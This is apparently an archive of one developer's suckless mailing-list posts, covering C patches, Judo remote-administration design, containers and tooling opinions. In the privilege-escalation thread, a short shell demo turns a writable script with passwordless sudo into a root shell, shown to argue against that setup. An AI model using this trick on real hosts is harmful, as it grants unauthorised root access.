Re: [dev] [surf] [patch] strip uri leading whitespace when ctrl-p
Nice digging, thanks Laslo. > TL;DR: g_strdup() == strdup() And this is why the world needs suckless. Who cares if it's open source, if the code is incomprehensible? <3,K.
Re: [dev] [surf] [patch] strip uri leading whitespace when ctrl-p
On Thu, 19 Oct 2017, Kamil Cholewiński wrote:
>> - Arg a = {.v = text };
>> + char *trimed = g_strstrip(g_strdup(text));
>> + Arg a = {.v = trimed };
>
> Doesn't this leak memory via strdup on every paste? Or does Gobject do
> some automagic ref counting or whatnot?
(Ignore, didn't see the other reply, my email client sometimes fails to
group threads.)
Re: [dev] [surf] [patch] strip uri leading whitespace when ctrl-p
> - Arg a = {.v = text };
> + char *trimed = g_strstrip(g_strdup(text));
> + Arg a = {.v = trimed };
Doesn't this leak memory via strdup on every paste? Or does Gobject do
some automagic ref counting or whatnot?
Re: [dev] [general][discussion] constants: `#define` or `static const`
Hi Matthew, I'd go with "static const" unless you have a reason to do otherwise. As you pointed out: type checking, scope, etc. but also: you can't take the address of a #define and pass it around as a pointer. Ultimately it boils down to style. Use whatever you think best communicates the *intent*. <3,K.
Re: [dev] [stest] Hidden file processing
On Sat, 07 Oct 2017, Hiltjo Posthuma wrote:
> I think this is still not clear: what if a file is hidden due to its path?
> for example: $HOME/.config/somefile
>
> should it be visible or not?
>
> the stest man page uses the term "file" but "path" is meant.
> for example:
> -d Test that files are directories.
>
> I think the -a option looks out of place to be honest. Should it be removed
> or at the very least better documented?
I've meditated on this and I have two propositions.
I believe the original motivation for including "-a" at all was to
mirror the behavior of plain "ls". "stest -l ." will in fact work very
similarly to "ls", and "stest -la ." will match the behavior of "ls -a".
Otherwise, stest in any other mode will only look at what it gets from
stat(2), and IMHO any filename/path processing feels out of place there.
So the proposition #1 is to match the behavior of "ls -d", unless using
"stest -l". Currently:
> $ ls -a
> . .. .hidden dir file
> $ stest -f * .* . ..
> file
> $ stest -d * .* . ..
> dir
> $ stest -af * .* . ..
> file
> .hidden
> $ stest -ad * .* . ..
> dir
> .
> ..
> $ stest -l .
> dir
> file
> $ stest -al .
> .
> ..
> .hidden
> dir
> file
Proposed behavior:
> $ stest -f * .* . ..
> file
> .hidden
> $ stest -d * .* . ..
> dir
> .
> ..
> $ stest -l .
> dir
> file
> $ stest -al .
> .
> ..
> .hidden
> dir
> file
And for the manual:
> -a In conjunction with -l, also test hidden files.
> [...]
> -l Test the contents of a directory given as an argument,
>ignoring hidden files (unless -a is also specified).
Q&D diff:
- if ((!stat(path, &st) && (FLAG('a') || name[0] != '.')/* hidden
files */
+ if ((!stat(path, &st)
+ && (!FLAG('l') || (FLAG('a') || name[0] != '.')) /* hidden
files */
Seems to be doing the right thing.
Proposal 2 is to get rid of "-a" entirely (or make it a no-op to avoid
breaking existing scripts) and always process hidden files.
<3,K.
Re: [dev] [stest] Hidden file processing
Hi Hiltjo,
On Fri, 06 Oct 2017, Hiltjo Posthuma wrote:
> Where is the patch?
Attached, example below. However I would rather first discuss what
should be the correct / expected behavior, before proposing a change.
Going fast forward without a clear direction still gets you nowhere.
> $ ./stest -d ~/.local
> $ ./stest -ad ~/.local
> /home/kamil/.local
> $ ./stest -d .
> $ ./stest -ad .
> .
> $ ./stest -f ./stest
> ./stest
<3,K.
commit a09638779e3235fc30e84a02e1a77b2319671b65
Author: Kamil Cholewiński
Date: Fri Oct 6 15:52:18 2017 +0200
[stest] is_hidden
diff --git a/stest.c b/stest.c
index 7a7b0bc..4da5230 100644
--- a/stest.c
+++ b/stest.c
@@ -2,6 +2,7 @@
#include
#include
+#include
#include
#include
#include
@@ -13,6 +14,7 @@ char *argv0;
#define FLAG(x) (flag[(x)-'a'])
+static int is_hidden(const char *path);
static void test(const char *, const char *);
static void usage(void);
@@ -20,12 +22,25 @@ static int match = 0;
static int flag[26];
static struct stat old, new;
+static int
+is_hidden(const char *path)
+{
+char *basec, *bname;
+int hidden;
+
+basec = strdup(path);
+bname = basename(basec);
+hidden = bname[0] == '.';
+free(basec);
+return hidden;
+}
+
static void
test(const char *path, const char *name)
{
struct stat st, ln;
- if ((!stat(path, &st) && (FLAG('a') || name[0] != '.')/* hidden files */
+ if ((!stat(path, &st) && (FLAG('a') || !is_hidden(path)) /* hidden files */
&& (!FLAG('b') || S_ISBLK(st.st_mode))/* block special */
&& (!FLAG('c') || S_ISCHR(st.st_mode))/* character special */
&& (!FLAG('d') || S_ISDIR(st.st_mode))/* directory */
[dev] [stest] Hidden file processing
Hi list, stest from dmenu f428f3e produces broken results for paths starting with a "." that are not hidden files. I think this is best illustrated with a conversation with the shell: > $ ls -d ./bin > ./bin > $ stest -d ./bin > $ stest -ad ./bin > ./bin stest should probably treat the path with basename(3) or realpath(3), or just assume "-a" if there are slashes in the path (which would almost match the behavior of "ls -d"). In any case, the current behavior is very counter-intuitive (I've only figured out what's happening after reading the source). Thoughts? <3,K.
[dev] Golang [was Re: Privilege escalation on remote hosts. MANY remote hosts.]
On Fri, 29 Sep 2017, Anselm Garbe wrote: > Not sure who came up with that conclusion. Granted, you can solve many > problems surprinsingly well with plain C. But I consider Go as a > suckless option because of: > > - The only OO-way almost done right > - CSP > - statically linked binaries > > The GC in Go is a consequence of its concurrency approach -- when you > solve problems with a high degree of concurrency, maintaining memory > properly can become a hard task. And Go adopted CSP quite seriously in > contrast to regular imperative languages that don't even provide > language constructs that come close. THANK YOU Anselm. > - statically linked binaries This, plus the ease of building and cross-compiling. I want to write software that other people find easy to try. Most suckless tools are "git clone; make"; most go programs are "git clone; go build" (or just "go get"). If you trust my builds, "curl" or "wget" are enough. High barrier to entry sucks. > - CSP TBH I can't imagine doing Judo in a language without first-class concurrency support - the problem is obnoxiously parallelisable. The alternatives are: clunky subprocess juggling, bolt-on libraries (often complex and/or half-baked), or serial execution. > - The only OO-way almost done right I have pluggable transports in the works. I found refactoring Go code more pleasant than any other language. They DID get it right. Go has its shortcomings, but - let's be honest - as far as modern languages go, I don't think you can do much better. <3,K.
Re: [dev] Privilege escalation on remote hosts. MANY remote hosts.
Thanks for your input Gary. > The only way I would trust something like this on my network is if the > payload is signed, by a central authority/user. The signature can be > verified with a public key, and it should be able to verify that the > payload was not altered since the signature was applied. [...] SSH solves this problem. You have public keys on each target machine. You have passphrase-protected private keys on the control machine. All comms are encrypted, signed, and verified - on both ends. If someone doesn't trust SSH with what it already does, well, I can't help. Now if I have one box to manage, I'd unlock my SSH agent, ssh in, use sudo (or doas) to escalate privileges, type in my passphrase, and do admin stuff. This is already two authentication factors on the control machine (well at least one, if you choose unencrypted private keys, or plain password login); and one authentication factor on the remote machine (unless you choose to disable it). I want a tool that is usable, saves time, and makes life easier, without creating a higher security risk than what is already present. Adding a complex authn scheme on the target machine will increase the attack surface, and will leave more room to mis-configure something. If, at the same time, you'd leave another door open, people will just use whatever is more usable, rendering the complex scheme redundant. > The only way I would trust something like this on my network is [...] If you're allowing SSH on your network, you're allowing Judo on your network as well ;) as it's merely a shellout to SSH. All the potential to wreak havoc is already there. If you want extra seatbelts, cool. I'd like Judo to play nice with people's existing (sane) seatbelts. No more, no less. > This can be as simple as a .signature file delivered with or before > the payload. If it can be guaranteed delivered last, then it can also > act as a semaphore to allow the client to know the transfer is > actually complete, and to not waste cycles trying to verify things > before the transfer is done. Judo already runs the entire thing in a sort-of transaction. mktemp(1) creates a directory structure for each run. scp(1) happens next. Then, the script is executed via ssh(1). Failure at any stage means to abort. Cleanup is triggered in all cases (but I guess a debug mode would be useful). As you can see, the flow is dead simple: https://github.com/rollcat/judo/blob/d66229c/libjudo/host.go#L36 Judo is 100% client-less, and I want it to stay that way. I have a library of portable shell functions (aka "executable unix rosetta stone") that I put on each machine - using Judo itself, so it shouldn't depend on it. > The obvious requirement for participating in the existing suckless.org > project space is knowing C well enough to keep it succinct and > readable. Adding a new project in not-C is going to have some > chilling effect on existing community members. [...] I'm not looking to put any of my projects under the suckless umbrella. Rather, I'm asking around for ideas / inspiration to solve a *design* problem, that has nothing to do with the implementation language. This community is well known for coming up with radically simple designs, that work well in the real world - exactly the kind of insight I need, to build a better tool for my job, after spending 2.5 years wrestling a moloch full of poor ideas. <3,K.
Re: [dev] Privilege escalation on remote hosts. MANY remote hosts.
On Fri, 22 Sep 2017, Antenore Gatta wrote: > Well, I hope it's what you are looking for. It's totally not, but I see where you're coming from :) You may want to look at Ansible Tower, Rundeck, or similar stuff. They all suck, but they do solve this kind of problem in a much more manageable manner. <3,K.
Re: [dev] Privilege escalation on remote hosts. MANY remote hosts.
I love how every discussin here eventually derails into "XYZ sucks". Yes, XYZ sucks. But FGH sucks more. I want to do what FGH does, because while FGH sucks, it solves a real-world problem. Now back to PrivEsc, I actually found Antenore's suggestion inspiring. It would work if we could force only part of the command to remain constant, and use the constant part to perform non-interactive authentication (e.g. by verifying a provided secret). Essentially delegate authentication to a sub-command in a Bernstein-style exec chain, like this: $ sudo -n -- verifyme -- ./my-amazing-script ^ substitute doas, sup, etc ^ authn helper, no suid ^ arbitrary; exec only if authn successful Pros: - Can perform non-interactive verification - No new suid cruft on your system; can be written in plain sh - No black magic, keep existing setup almost untouched - Just one extra rule in sudoers / doas.conf / config.h - Reuses and plays nice with existing PrivEsc methods Cons: - ? <3,K.
Re: [dev] Privilege escalation on remote hosts. MANY remote hosts.
> go is not suckless. > > Should have written your PoC using simple C. Does C magically solve my design problem? At PoC stage, implementation language absolutely does not matter. I'd write it in PL/SQL if that solved the problem at hand. <3,K.
Re: [dev] Privilege escalation on remote hosts. MANY remote hosts.
> What about using custom public SSH keys that force the execution of a > specific command/script instead of the default login shell? The operational principle is that first you scp a script with arbitrary content, written in an arbitrary language, to the remote box(es), then execute the said script with elevated privileges. I'm using mktemp(1) here (so that two sessions doing two different things can run in parallel), but even if the script name was known ahead of time, this dance wouldn't make sense, as it would be writable by the same user that can later use 0-factor sudo on it. $ sudo sh [sudo] password for kamil: ^C $ echo 'exec sh' > bin/superscript $ chmod +x bin/superscript $ sudo -n bin/superscript # id -u 0 Although it somewhat does help prevent the "drunk admin typing at the wrong ssh window" problem, it smells like security through obscurity. > The best solution is likely making an admin account on each box that has > access to the things you need to control. make it a system account but keep > the users shell in /etc/passwd > then, use gpg to login and do the business. that way, the only way to login > to that account is through SSH or with local root. otherwise passwd asks > for a password that does not exist. I'm sorry, but I'm not following. What's the role of GPG in this scenario? Which machine(s) have the admin account: local or remote? Remote: one scenario we must consider is when there is more than one user with admin privileges on the remote box(es). If the remote machine has a shared admin account, we lose the ability to trace actions back to an individual user (source IP address is easily obscured). If we provision a more restricted and a less restricted account for each user, the user will just use whichever one has less friction, defeating the purpose of having two accounts. Local: admin access on control machine should never be assumed. Think: shared jumpbox / bastion. I'd like to give developers admin access on web hosts in the DMZ, but not on the bastion. Bastion should be able to run Judo seamlessly (and non-interactively too). Thanks for the input! <3,K.
[dev] Privilege escalation on remote hosts. MANY remote hosts.
Hi list,
TL;DR: passwordless sudo is same as making $USER equal to root at all
times. Requiring a password is a royal PITA when trying to run one
command on many many hosts. Scripting interactive password input sucks.
Other methods are non-portable. Practical ideas?
Long version:
I've been working on Judo[1], a less-sucky alternative to Ansible[2].
The exact problem it solves is basically that of "for host in ...; do
scp script ${host}: && ssh ${host} ./script; done", except with some
seatbelts and goodies (like parallel execution, logging, host inventory,
cleanup, master connection for speed, etc).
[1]: https://github.com/rollcat/judo
[2]: https://www.ansible.com/
I have a working PoC, written in Go, which I've been using to manage my
personal machines, and occasionally even for stuff I was actually paid
to do. So, Judo is already proving productive. But before I can finalize
the design and set some things in stone, I feel that I need to solve one
last outstanding design problem: privilege escalation at scale. I want
managing 5 hosts to be as simple and practical as managing a fleet of
5000, while not compromising too much in other areas.
Currently, Judo assumes absolutely no interaction from its scripts on
any hosts. On the remote side, stdin is closed as soon as possible, no
PTY is allocated, etc. This is on purpose, by design, and won't change:
this is one of the more frustrating things about Ansible, and there's no
sane way to do it when interacting with N hosts, in parallel.
This doesn't mesh well with interactive sudo (or doas, or su, or
whatever other interactive privilege escalation tool you'd use). The
"get things done" solution is to use the 0-factor authentication variant
with NOPASSWD, which IMHO is just a more complex and elaborate way of
aliasing $USER to UID 0 in /etc/passwd, and will leave many sysops
unhappy.
The way Ansible solves this, is there's a script to interact with sudo,
su, doas, etc - this means the core product has specific kludge in place
to interact with every possible PrivEsc method, and every new tool to
support needs another piece of kludge. (Probably why it's at 600k SLOC
vs Judo's 1k.) On the other hand, Judo is not even aware of sudo / doas
/ sup / su / etc, as privilege escalation is simply not considered in
scope at this time - the problem is currently delegated to the script
running on the target machine. Most of my scripts have this preamble:
'if [ "$(id -u)" != 0 ]; then exec sudo -n -- $0 "$@"; fi'.
If we wanted to require some other authentication factor, say via PAM,
that'd make matters even worse. Judo currently seems to work fine with
whatever you throw at it, I've tested it with Debian, CentOS, OpenBSD,
FreeBSD, RouterOS, on amd64, i386, arm... And it just works, because the
core assumes very very little about the remote machine. PAM sucks and
doesn't even exist on OpenBSD, Slackware, many embedded systems, etc.
I was thinking about writing a tiny helper tool to run on the remote
end, that would: 1. read a one-time token from a file/fd, 2. delete that
file, and 3. if ok, execute the given script with escalated privileges;
then integrate this with Judo, so that the controlling host would
generate these one-time tokens and send them off to remote hosts. But
the tool would have to be a statically-linked executable, one for each
OS+release+arch combo. Sounds like another PITA to manage; especially
since Judo assumes almost nothing about the target host (and again, I'd
like to keep it that way).
Until a while ago, I've been telling myself this is not a real problem,
and password-less sudo is fine, because if someone can put something
like 'sudo() { ... }' in my ~/.profile, I'm toast anyway. Somehow I
don't feel easy about this, there must be a way to add an authentication
factor to privilege escalation that doesn't suck.
And lastly, I don't want to assume that everyone's remote hosts will
always allow unauthenticated sudo, because that's a silly assumption. I
also don't want anyone to have to put an 'if not root then sudo myself'
preamble in every script - boilerplate is evil.
Looks like whichever way to go, there's always a compromise to make:
adding complexity, dropping authentication, sacrificing portability,
hardcoding assumptions, proliferating boilerplate...
I'd love to hear ideas & opinions.
<3,K.
Re: [dev] [st] Start with text already input
echo 'echo mytext' >> .zshrc P.S. please remove "in-reply-to" headers when starting a new thread
[dev] [patch] slstatus load_avg format string
The patch changes load_avg to take a format string, allowing to display
e.g. only the 1min average. Should be useful on narrower screens like
laptops.
It feels redundant to have two format strings, but OTOH datetime also
already takes a format string, so let's say a convention has already
been established.
<3,K.
commit 35d708a272eb2d548ceeb79b2fd349becbb9d8ab
Author: Kamil Cholewiński
Date: Fri Sep 8 14:03:00 2017 +0200
change load_avg to take format string
diff --git a/config.def.h b/config.def.h
index f4a6bed..0e28d1e 100644
--- a/config.def.h
+++ b/config.def.h
@@ -29,7 +29,7 @@ static const char unknown_str[] = "n/a";
* ipv6 IPv6 addressinterface name
* kernel_release `uname -r` NULL
* keyboard_indicators caps/num lock indicatorsNULL
- * load_avg load averageNULL
+ * load_avg load averageformat string
* num_filesnumber of files in a directory path
* ram_free free memory in GB NULL
* ram_perc memory usage in percent NULL
diff --git a/slstatus.c b/slstatus.c
index d0d1767..e69423b 100644
--- a/slstatus.c
+++ b/slstatus.c
@@ -52,7 +52,7 @@ static const char *ipv4(const char *iface);
static const char *ipv6(const char *iface);
static const char *kernel_release(void);
static const char *keyboard_indicators(void);
-static const char *load_avg(void);
+static const char *load_avg(const char *fmt);
static const char *num_files(const char *dir);
static const char *ram_free(void);
static const char *ram_perc(void);
@@ -394,7 +394,7 @@ keyboard_indicators(void)
}
static const char *
-load_avg(void)
+load_avg(const char *fmt)
{
double avgs[3];
@@ -403,7 +403,7 @@ load_avg(void)
return unknown_str;
}
- return bprintf("%.2f %.2f %.2f", avgs[0], avgs[1], avgs[2]);
+ return bprintf(fmt, avgs[0], avgs[1], avgs[2]);
}
static const char *
Re: [dev] Opinions on GNU stow
On Thu, 31 Aug 2017, Matthew Parnell wrote: > I do use GNU Stow myself; however, only as a tool to provide a nice > wrapper to link my dotfiles from a git repo to where they ought to be. Same here. I haven't found any less-silly solution to date. Dropping the Perl dependency would be nice, but Debian & OpenBSD already make it very difficult to not have it. > In fact, I was thinking of writing a GNU Stow drop in replacement in > Suckless-style C when I find some time (GNU Stow is written in Perl, I > believe). Interested! The interface is pretty simple in fact. Drop all of the -- flags because they look quite useless. Supporting -dtSDRnvVh seems reasonable and would probably give you 99% compatibility with everything out there. <3,K.
Re: [dev] Writing subtitles for videos
Background: a close friend is doing subtitling for $, usually for local film festivals. One festival often means dozens of movies to be translated and subtitled. Most people doing this are freelance translators with limited technical background. > ffplay prints the playback time in centisecond precision to the terminal > when it is playing, so you can pause to see where in the video you are > and write the time down yourself. No, this is beyond stupid. Try this when you have dozens of hours of video to subtitle, on a deadline. You want this activity to be as streamlined as humanly possible. There's no room for philosophy here, the people doing this are already tired. The current de-facto state of the art is to hit a key to show-next/hide the subtitle while the video is playing. This can be done live while the film is being displayed at a theater, or pre-recorded (possibly with time-stretched playback). > I haven't editted a lot of subtitles, but for sound synchronization, a > waveform is extremely useful. Now this is an interesting idea and I think extending existing software with this functionality would make it somewhat more usable. Any improvement that takes away a part of the manual labor would be awesome. Using machine learning, or speech recognition, to auto-suggest subtitle timing? Hell fucking yeah, that would seriously rock. <3,K.
Re: [dev] Opinions on GNU stow
On Wed, 30 Aug 2017, Anselm R Garbe wrote: > Symlinks have always been a hack due to Unix' lack of a proper > namespaces approach. Plan 9 later fixed this by introducting a proper > namespaces approach[1] - but even today unices (incl. Linux) have > almost ignored the learnings of Plan 9 with some exceptions. You do have union filesystems and mount namespaces in Linux. Actual businesses are running them in prod and betting billions on it. > In terms of a packaging manager, I'm a proponent of the idea I > introduced with stali as well. It does not require a package > "manager", but uses git for the rootfs overlay instead. If you want a > certain version of the system, you check out the required version from > /.git. This is excellent for the base system, but it leaves a lot of problems unsolved, especially for managing optional/third-party software. Having two separate package management strategies for base & everything else is duplicated effort solving common problems, and added mental overhead for both developers and users. > I'm certain that those ideas would scale up to a general purpose base > system, however if you want to deploy heavyweights like chrome or > openoffice etc. I would try to adopt union mounting overlays into some > /crap namespace of such "packaged" software, rather than using ugly > symlinks with stow. On my daily driver, which I'm trying to keep as lean as possible while still getting actual work done: > $ dpkg --get-selections | wc -l > 1471 I'm not sure if your approach would scale well. Care to try 10's, 100's of union mounts and check on overall performance and stability? At that point we would need a tool for managing these mounts as well, and something is telling me it would be awfully similar to stow (minus the usual GNU bloat). <3,K.
Re: [dev] announcing edit-pipe
> The name generated by mktemp is the concatenation of a directory name,
> a slash (/), the value of the LOGNAME environment variable truncated
> to {NAME_MAX} - 6 characters, and the process ID of the invoking
> process.
This is horrible. I guess HP-UX has much bigger problems than an
incompatible mktemp.
Re: [dev] announcing edit-pipe
On Sun, 27 Aug 2017, Thomas Levine <_...@thomaslevine.com> wrote: > * mktemp is not portable; you could use something like the date and > process identifier ($$) to create a portable temporary file. This is very wrong advice, please don't do this. Current timestamp is as guessable as it gets. PIDs on most systems are limited to 5 digits. All very easy to bruteforce. If you're concerned with the availability of mktemp, port it. <3,K.
Re: [dev] [question] gobo linux filesystem hierarchy
'make uninstall' might work if the software is sane and well-written, and if the operator is careful. But how do you handle upgrades? 'make uninstall' the old version, then 'make install' the new stuff? What if it's some critical piece, like base utils or the shell, and something goes wrong in between? What if you skip 'make uninstall' during upgrades, will the version n+1 know to delete files removed in versions n, n-1, n-k? Package managers, or self-contained apps, they solve all of these problems once and for everyone. 'make whatever' has to solve each corner case again and again. Or in other words, executable code makes for a very poor metadata format. <3,K.
Re: Suckless monitoring [was Re: [dev] git://git.suckless.org not accepting connections]
On Tue, 04 Jul 2017, Anselm R Garbe wrote: > I've used my own for almost a decade: http://monitor.garbe.us/ > It checkes the services every 20 minutes and sends me a mail if some > service goes offline. Care to share the code?
Suckless monitoring [was Re: [dev] git://git.suckless.org not accepting connections]
On Tue, 04 Jul 2017, Anselm R Garbe wrote: > On 4 July 2017 at 00:36, Anselm R Garbe wrote: >> On 4 July 2017 at 00:06, Michael Forney wrote: >>> I noticed that git.suckless.org is no longer accepting connections >>> with the git protocol. HTTP still works though. >>> >>> Just pointing that out in case it wasn't a deliberate change. >> >> Nice spot, wasn't deliberate and is caused by the server relocation. >> I'll look into this. > > Should be fixed now. > > BR, > Anselm What would be the least-sucking monitoring+alerting solution for infrastructure? Nagios, Icinga, Sensu, all of these suck horribly. <3,K.
Re: [dev] [st] Larger HISTSIZE consumes huge memory
> And also will there be any daemon mode available for st? My guess is: no, never.
Re: [dev] Interesting Web Browser Decoupling Concept
On Fri, 16 Jun 2017, sylvain.bertr...@gmail.com wrote: > When people are using the word "openbsd", it does designate the kernel > project. > Not the userland projects. Completely not true. Please check your facts.
Re: [dev] Interesting Web Browser Decoupling Concept
On Thu, 15 Jun 2017, Dominykas Mostauskis wrote: > Here's an idea. As an alternative to wrestling with resource heavy > applications directly, implement heavy taxation on consumer device > computational power. [...] > > To continue the regulation rant, closed source should be taxed > similarly. [...] If your idea of "better" must be forced by a law, it's not better, you're just being a nazi. I have a genuinely better alternative for you: just don't run sucky software. Go install base OpenBSD on a potato, it has everything you need to be productive with a computer, including no web browser at all (not even lynx). It has two text editors: vi and mg, both excellent choices for hacking on C, Perl or shell. It has a toolchain, and loads of extremely well-written documentation. It comes with the full source code and a permissive license. Go write great software - if it has any value, people will prefer it over sucky alternatives, no stupid regulations required. <3,K.
Re: Re: [dev] Interesting Web Browser Decoupling Concept
On Tue, 13 Jun 2017, sylvain.bertr...@gmail.com wrote: > You are being unreasonable here: you are presuming that "computer security" > does exist... but it does not. Software does not exist either for that matter, it's just a pattern of arbitrarily encoded 0's and 1's. "Today a young man on acid realized that all matter is merely energy condensed to a slow vibration, that we are all one consciousness experiencing itself subjectively, there is no such thing as death, life is only a dream, and we are the imagination of ourselves. Here's Tom with the Weather."
Re: Re: [dev] Interesting Web Browser Decoupling Concept
On Tue, 13 Jun 2017, hiro <23h...@gmail.com> wrote: > [...] android is doing the right thing: it separates processes by > running them as separate users. [...] Every respectable OS/distro packages daemons to run as separate users. Every respectable piece of software separates privileges and uses sandboxing / hardening techniques, like chroot, pledge, yadda yadda. Linux the kernel sucks in a lot of ways, but it also does get a lot of things right. There is a notion of sub-uids and sub-gids, so that different programs run by ordinary users can each get their own, separate, unprivileged UID and GID: https://www.mankier.com/1/newuidmap > Android apps objectively sucks less than webapps. > [...] > No, android apps suck even more than webapps, and you lack of objectivity. They both suck in their own, unique, horrible ways. Comparing them is like comparing turds and vomits. If you want a suckless phone TODAY, go get a Nokia 3310, or DIY one using an Arduino kit. If you want suckless web TODAY, disable JavaScript. <3,K.
Re: [dev] Interesting Web Browser Decoupling Concept
On Tue, 13 Jun 2017, sylvain.bertr...@gmail.com wrote: > When mentioning souldcloud, I usually refer to the "sound editing" feature. As a person that does most of his music making in plain old analog (including a tape recorder), I miss the point of having a web service doing audio stuff, i.e. what can SC do in the browser that I couldn't do with a desktop app? > For youtube, we agree 100%, but it seems that the javascript/modern web engine > combo is used as a kind of DRM... namely the dependency by complexity is _on > purpose_ (see the user agreement of youtube: you MUST use the > javascript/modern > web engine video player. [...] In principle, in practice youtube-dl[1] still works pretty well ;) However not without labor on the part of the developer. I suspect there will be a way, as long as YT allows watching videos without logging in - which would get a lot of people upset. [1]: https://rg3.github.io/youtube-dl/
Re: [dev] Interesting Web Browser Decoupling Concept
On Tue, 13 Jun 2017, sylvain.bertr...@gmail.com wrote: > Ofc, some internet sites do provide services which are hard dependent > on a rich GUI (I usually mention soundcloud). Actually audio and video playback these days can be done with pure HTML markup, which is sufficient for a completely bare-bones SoundCloud or YouTube replacement, no JS needed.
Re: [dev] [announce] mle: a small terminal-based text editor
On Wed, 29 Mar 2017, Snobb wrote: > So without lua, the editor goes with default hard-coded settings and > no way for even minor customisation like number of spaces per tab, > tabs or spaces, etc. Same for dwm. Use Awesome if you want dwm with Lua.
Re: [dev] [st] [PATCH 2/2] Keep end of lines in memory when resizing terminal
On Wed, 29 Mar 2017, hiro <23h...@gmail.com> wrote: > give it up. it's all hopeless. urxvt does it the right way and it still sucks. This. Every single terminal in the world has broken resize handling, except for urxvt. Just copy what urxvt does, and let's focus on more exciting problems. <3,K.
Re: Re: [dev] oasis: small linux system inspired by stali
On Tue, 28 Mar 2017, Pickfire wrote: > I did a benchmark against tup, make, mk, ninja back then. > What I learn: > > - make is the fastest > - ninja needs to be run twice > - tup is slowest (probably didn't use monitor) but easy to write > - mk is slightly slower than make > > Still gnumake is the most used, fast as well. > I see tup as a good build system but not used by many. When disclosing benchmark results, it is always in good manner to share: - The exact method - The dataset - The raw numbers I'm not arguing for or against any tool (I'm yet to try tup or ninja), but tup's author actually does a "tup vs mordor" benchmark, where he shows the tool is slower by a constant vs an ideal, hypothetical, all-knowing, ungodly-optimised build tool. http://gittup.org/tup/tup_vs_mordor.html <3,K.
Re: [dev] oasis: small linux system inspired by stali
> I think it might have been possible to use some other build tool to > achieve something similar, but I don't think it would have worked out > as well. http://gittup.org/tup/ ?
Re: [dev] looking for a simple music player
On Wed, 08 Feb 2017, Cág wrote: >> what do you need, ffado? >> mpd might be best. > > mpd is C++ and pulls boost because it > "imroves code readability and maintainability". > > -- > Cág mpd is also extremely robust (I've had zero crashes or user-visible bugs in many years of using it), completely frontend-agnostic (use a GUI, web UI, commandline, curses, smartphone, perl/python/c/lua library, emacs, whatever), and does the friggin' job... It's also a network protocol, so you can go ahead and make a suckless rewrite.
Re: [dev] [announce] wjt-0.1 - slider widget
On Tue, 13 Dec 2016, s...@mailless.org wrote: > However, I don't see use for it for me here. I've bound keys to directly > interact with brightness/volume and firing up additional tool to grab my > inputs looks like overkill to me. Maybe I'm missing something, though, > or maybe you share some particular context in which you use it. Perhaps skip a range of values quickly? Set a *very specific* value? Integrate with dmenu for a slightly more complex mixer solution? Integrate with dmenu for completely crazy other stuff? (e.g. set countdown timer until self-destruct) I'm definitely going to try various things.
Re: [dev] [announce] wjt-0.1 - slider widget
Neat! I like.
Re: [dev] [stali] The stali way to wifi
On Thu, 20 Oct 2016, Laslo Hunhold wrote: > as an off-idea: How are startup-times of stali? Given the power of > machines today, there should not be many things limiting a startup in > just a few seconds. Any data on that? Oh just try it. I was truly amazed. >From bootloader to login prompt in like a second? Wow.
Re: [dev] [stali] The stali way to wifi
On Tue, 18 Oct 2016, Cág wrote: > stali has sdhcp. Thanks for the suggestion, I may include it in my setup at some point.
Re: [dev] [stali] The stali way to wifi
On Tue, 18 Oct 2016, Bruno Vetter wrote:
> Hi there,
>
> thanks for all the support so far.
> How would one connect to wifi in stali? For me, installing libnl-tiny and
> wpa_supplicant works, but I'd be interested to hear if/how this is meant to
> be achieved in a stali way.
>
> Bruno
Hi Bruno,
not running stali (Debian here), but should work all the same.
I simply put wpa_supplicant and dhclient under runit:
> $ cat /etc/service/wpa_supplicant@wlan0/run
> #!/bin/sh
> set -eu
> iface=${1:-${PWD##*@}}
> rm -f /run/wpa_supplicant/$iface
> exec wpa_supplicant -d -c /etc/wpa_supplicant.conf -i ${iface}
> $ cat /etc/service/dhclient@wlan0/run
> #!/bin/sh
> set -eu
> iface=${PWD##*@}
> sv check wpa_supplicant@${iface}
> exec dhclient -d ${iface}
> $ cat /etc/service/dhclient@wlan0/finish
> #!/bin/sh
> set -eu
> iface=${PWD##*@}
> exec ifconfig ${iface} down
wpa_supplicant.conf contains an annotated list of AP's I want to connect
to, kind of like a phone book:
> $ cat /etc/wpa_supplicant.conf
> ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
> # 1234 Random Str. Nowhere
> network={
> ssid="abcd"
> psk="the password"
> }
Cheers!
K.
Re: [dev] Simple shell with completion
On Wed, 12 Oct 2016, Evan Gates wrote: > On Wed, Oct 12, 2016 at 7:56 AM, Thomas Levine <_...@thomaslevine.com> wrote: >> Or I guess I could try zsh or bash > > bash completion is very powerful as you can write shell functions to > generate the possible completions based on what is on the command line > so far. That being said you may lose your sanity, especially if you > use the bash-completions package as an example. Their scripts are > horribly written and full of problems, but work most of the time so > many people use them. > > -emg Not to mention sudden complete freeze, as the completion engine starts making outbound network connections or warming up the apt database... Insanity.
[dev] Re: containers opinion
On Sat, 24 Sep 2016, stephen Turner wrote: > What do you recommend for best knowledge of unsharing resources? Start here: OpenBSD: pledge(2), imsg_init(3) Linux: unshare(2), prctl(2) This is just some basic pointers to get you started. Nothing will ever replace good architecture and careful design. See e.g. how OpenSMTPD uses a "fork+reexec" technique to allow privsep'd subprocesses to each have their own randomized address space: https://www.poolp.org/tech/posts/2016/09/12/opensmtpd-6-0-0-released/ <3,K.
Re: [dev] containers opinion
On Fri, 23 Sep 2016, stephen Turner wrote: > whats the suckless view of containers and why? what about a > containerized init helper where sinit calls the container program and > then runs daemons and the rest of the system from containers? Do you > feel containers offer additional security/stability? Containers DO NOT add any security. Unsharing resources does. If you are serious about security, proper privilege separation is the way to go. But it requires thought and careful design, something chronically missing in that whole the "move fast, break things" crowd. Stability - no. Unstable and shitty code is going to stay unstable and shitty, no matter how many layers you wrap it in. A Good operating system will shield one application from misbehaviors of another, **by default**. > Just thinking about "cloud" stuff again and daydreaming about servers. Yes, this is where containers shine. The developer writes a Dockerfile, builds and tests the image on his laptop, does it work? :shipit: Then the sysop guy just clicks around on the GCP admin panel to spin up a Kubernetes cluster, points it at the image, and viola, fuken deployed. For me, as a sysop, the image/container workflow finally makes the pain of deploying the unstable and shitty code to production bearable, because it confines the unimaginably imaginative developers' inventions into a conceptually simple and uniform package. Finally I only have to deal with one kind of crap, as opposed to 20 different kinds of crap. I welcome containers with ovations and fanfares. > I suppose with a system as small as suckless offers it might be a moot > point by the time you fire up several VM instances. VM's would add a > semi redundancy in the event of a single failure in that it wouldn't > take down the other services but then you have other issues if the > system fails anyways right?! Last time I checked, sta.li was shifting focus to the embedded space. Maybe I'm too old for this job, but I just... don't run my production workloads on a bag of potatoes. Also... 